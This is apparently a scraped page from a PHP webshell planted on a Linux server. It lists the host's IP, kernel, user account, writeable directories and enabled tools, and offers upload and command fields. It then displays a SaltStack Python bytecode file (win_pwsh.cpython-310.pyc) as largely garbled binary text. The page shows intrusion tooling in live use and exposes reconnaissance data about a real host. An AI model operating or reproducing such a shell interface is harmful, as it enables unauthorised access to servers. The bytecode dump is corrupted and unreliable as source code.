403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/__pycache__/win_pwsh.cpython-310.pyc
o

;j/5�
@s�ddlZddlZddlZddlZddlmZe�e�Z	dZ
zddlZdZ
Wney3e	�
d�YnwdZzdZe�e�ddlmZdZWney_Zze	�
de�WYdZ[ndZ[wwd
d	d
�ZGdd�d�ZdS)�N)�CommandExecutionErrorFTz0could not import clr, pythonnet is not availablez_System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35)�
PowerShellz*win_pwsh could not load PowerShell SDK: %scCs�t|t�r
d�tt|��}d|��vr|�d�}d|��vr#d|��}tjjj	|d|d�}d|vr4|d=|�
d	d
�rH|d	��d}t||d��d
|vsR|d
dkrXtd|d��|dd
krbd|d<ztj
jj|ddd�}W|Sty}td|d��w)a�
    Execute the PowerShell command and return the data as a dictionary

    .. versionadded:: 3006.9

    Args:

        cmd (str,list): The PowerShell command to run

        cwd (str): The current working directory

    Returns:
        dict: A dictionary containing the output of the PowerShell command

    Raises:
        CommandExecutionError:
            If an error is encountered or the command does not complete
            successfully
    � zconvertto-jsonz | ConvertTo-JsonZprogresspreferencez*$ProgressPreference = 'SilentlyContinue'; Z
powershell)�cmd�shell�cwd�pid�stderr�r)�info�retcodezIssue executing PowerShell cmd�stdoutz{}F)�strictzNo JSON results from PowerShell)�
isinstance�list�join�map�str�lower�salt�modulesZcmdmodZrun_all�get�
splitlinesr�utils�json�loads�
ValueError)rr�ret�error�r�G/opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/win_pwsh.py�run_dicts,


��r!c@sTeZdZdZdd�Zdd�Zdd�Zdd	d
�Zdd�Zddd�Z	dd�Z
dd�ZdS)�PowerShellSessionu�
    A stateful PowerShell runspace backed by the .NET PowerShell SDK
    (``System.Management.Automation``), loaded via ``pythonnet``.

    Unlike :func:`run_dict`, which shells out to a ``powershell.exe``
    subprocess, this class opens an **in-process** runspace and keeps it alive
    across multiple calls.  The same runspace is reused for every ``run*``
    invocation, so imported modules, loaded functions, and session variables
    persist for the lifetime of the object.

    **Requirements:** both :data:`HAS_CLR` and :data:`HAS_PWSH_SDK` must be
    ``True`` before instantiating this class.

    **Usage — always use as a context manager** so the underlying runspace is
    disposed of deterministically::

        with PowerShellSession() as session:
            result = session.run_json("Get-NetAdapter | Select-Object Name, Status")

    **Methods:**

    * :meth:`run` — run a script and return raw Python scalars/lists.
    * :meth:`run_json` — run a script and return a parsed Python object via
      ``ConvertTo-Json``.
    * :meth:`run_strict` — like :meth:`run` but raises
      :exc:`~salt.exceptions.CommandExecutionError` if the script did not run
      to completion (i.e., an uncaught error occurred).

    **Session defaults** set in :meth:`__init__`:

    * ``$ErrorActionPreference = 'Stop'`` — all non-terminating cmdlet errors
      are promoted to terminating exceptions so they cannot be silently ignored.
    * ``$ProgressPreference = 'SilentlyContinue'`` — suppresses progress bars
      that would otherwise pollute the output stream.
    * ``$WarningPreference = 'SilentlyContinue'`` — suppresses advisory
      warnings that are not actionable in an automation context.
    cCsHt��|_|j�d���|j�d���|j�d���|j��dS)a�
        Create the PowerShell runspace and apply session-wide preferences.

        Sets ``$ErrorActionPreference = 'Stop'`` so every cmdlet uses
        terminating-error semantics by default.  Individual commands that are
        expected to return nothing (e.g., ``Get-NetRoute`` when no route
        exists) must use ``-ErrorAction SilentlyContinue`` or be wrapped in a
        PowerShell ``try/catch`` block.
        z($ProgressPreference = 'SilentlyContinue'z$ErrorActionPreference = 'Stop'z'$WarningPreference = 'SilentlyContinue'N)rZCreate�ps�	AddScript�AddStatement�Invoke��selfrrr �__init__xs

zPowerShellSession.__init__cCs|S�Nrr'rrr �	__enter__�szPowerShellSession.__enter__cCs
|�d�S)Nz$$PSVersionTable.PSVersion.ToString())�runr'rrr �version�s
zPowerShellSession.versionNcCs^|sdS|jj��|jj��t|t�r|n|gD]
}|j�d|�����q|j�	�dS)z8
        Load modules into the existing session
        NzImport-Module )
r#�Commands�Clear�Streams�ClearStreamsrrr$r%r&)r(r�modulerrr �import_modules�sz PowerShellSession.import_modulescCs�|jj��|jj��|j�|�|j��}|jjrDd}|jjjj	dkr/|jjjd�
�}n
|jjjr<t
|jjjj�}t�d|�|S|rLt|�dkrNdSt|�dkrp|d}|dur^dS|j}t|t
tttf�rl|St
|�Sdd�|D�S)a_
        Run a PowerShell command and return the result without attempting to
        parse it convert the PowerShell objects.

        Args:

            cmd (str): The command to run.

        Returns:
            str: A string with the results of the command
            list: If there is more than one return, it will be a list of strings
        �Unknown PowerShell Errorrz$PowerShell Session Warning/Error: %sN�cS�g|]}t|��qSr�r��.0�resultrrr �
<listcomp>��z)PowerShellSession.run.<locals>.<listcomp>)r#r.r/r0r1r$r&�	HadErrors�Error�Count�ToString�InvocationStateInfo�Reasonr�Message�log�debug�len�
BaseObjectr�int�bool�float)r(r�results�	error_msg�value�
base_valuerrr r,�s.

zPowerShellSession.run�cCs�|jj��|jj��|j�|�t�d|tj�s.|j�	d�|j�
dd�|j�
d|�|���d�s;|j�	d�|j�
�}|jjr^|jjj��dkr^dd	�|jjjD�}td
|����|rqt|�dkrqtjj�t|d��SdS)
aq
        Run a PowerShell command and return the result as a parsed Python object.

        Unless the command already contains ``ConvertTo-Json``, the method
        automatically pipes the output through ``ConvertTo-Json -Compress
        -Depth <depth>`` and then ``Out-String`` before parsing. This ensures
        that PowerShell objects are always serialized to English-language JSON
        regardless of the system locale.

        Args:

            cmd (str): The PowerShell command or script to run.

            depth (int): The JSON serialization depth passed to
                ``ConvertTo-Json``. Defaults to ``4``.

        Returns:
            Any: The deserialized Python object (dict, list, str, etc.), or
            ``None`` if PowerShell produced no output.

        Raises:
            CommandExecutionError: If PowerShell enters a ``Failed`` state.
        zConvertTo-JsonZCompressTZDepthz
out-stringz
Out-StringZFailedcSr6rr7)r9�errrrr r;�r<z.PowerShellSession.run_json.<locals>.<listcomp>zPowerShell Error: rN)r#r.r/r0r1r$�re�search�
IGNORECASEZ
AddCommandZAddParameterr�endswithr&r=rA�Stater@r>rrFrrrrr)r(r�depthrKZerr_msgsrrr �run_json�s"
zPowerShellSession.run_jsonc
Cs�|jj��|jj��d|d}|j�|�|j��}|jjr�|jjjj	dkr2|jjjd�
�nd}|jjj}|jj��|jj��|j�d�|j��}|o`|j	dko`t
|d���dk}|rdn=d}|rn|}t|��|ryt
|j�}t|��|jj��|j�d�|j��}	|	r�|	j	dkr�t
|	d�}
|
��r�|
}t|��|r�t|�dkr�dSt|�d	kr�|d}|dur�dS|j}t|t
tttf�r�|St
|�Sd
d�|D�S)a�
        Run a PowerShell command and raise on any error.

        Identical to :meth:`run` except that a ``CommandExecutionError`` is
        raised when PowerShell reports ``HadErrors``, rather than logging and
        returning the error string. Use this when the caller must not silently
        continue after a failure (e.g., when executing a large configuration
        script where a mid-script error would leave the system in an unknown
        state).

        .. note::
            PowerShell sets ``HadErrors = True`` even for errors caught by
            ``try/catch`` inside the script.  To distinguish "script ran to
            completion with some suppressed errors" from "script terminated
            mid-way", we bracket the caller's script with a sentinel variable.
            If the sentinel is ``$true`` at the end, all errors were caught
            intentionally and we do not raise.

        Args:

            cmd (str): The PowerShell command or script to run.

        Returns:
            str | list | None: Same return types as :meth:`run`.

        Raises:
            CommandExecutionError: If PowerShell reports any error.
        z$__salt_ok__ = $false
z
$__salt_ok__ = $truerNz$__salt_ok__ -eq $true�truer4zCif ($Error.Count -gt 0) { $Error[0].Exception.Message } else { '' }r5cSr6rr7r8rrr r;ar<z0PowerShellSession.run_strict.<locals>.<listcomp>)r#r.r/r0r1r$r&r=r>r?r@rArBrrrC�striprrFrGrrHrIrJ)
r(r�wrappedrKZstreams_errZ
inv_reasonZchkZ
ran_to_endrLZerr_results�msgrMrNrrr �
run_stricts\
��

"�
��
zPowerShellSession.run_strictcCs(|r
t�d|�t�|�|j��dS)z�
        exc_type: The class of the exception (e.g., CommandExecutionError)
        exc_val: The instance of the exception
        exc_tb: The traceback object
        z*PowerShellSession exiting due to error: %sN)rDrEr#ZDispose)r(�exc_typeZexc_valZexc_tbrrr �__exit__cs
zPowerShellSession.__exit__r*)rO)�__name__�
__module__�__qualname__�__doc__r)r+r-r3r,rWr\r^rrrr r"Qs&

35]r"r*)�loggingrQZsalt.modules.cmdmodrZsalt.utils.jsonZsalt.exceptionsr�	getLoggerr_rDZHAS_CLRZclr�ImportErrorrEZHAS_PWSH_SDKZ
PWSH_GAC_NAMEZAddReferenceZSystem.Management.Automationr�	Exception�excr!r"rrrr �<module>s2
�
��
3

Youez - 2016 - github.com/yon3zu
LinuXploit